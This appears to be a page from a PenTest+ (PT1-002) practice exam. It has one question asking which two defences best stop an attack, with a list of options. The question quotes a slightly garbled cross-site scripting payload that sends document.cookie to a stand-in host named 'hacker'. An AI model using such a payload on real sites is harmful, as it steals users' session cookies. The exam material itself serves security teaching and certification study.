Question 21
PT1-002 Practice Test
PT1-002 Practice Test practice questions, page 5 of 5, with answer review and explanations.
Question 22
Given the following code: var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie; Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- Web-application firewall
- Parameterized queries
- Output encoding
- Session tokens
- Input validation
- Base64 encoding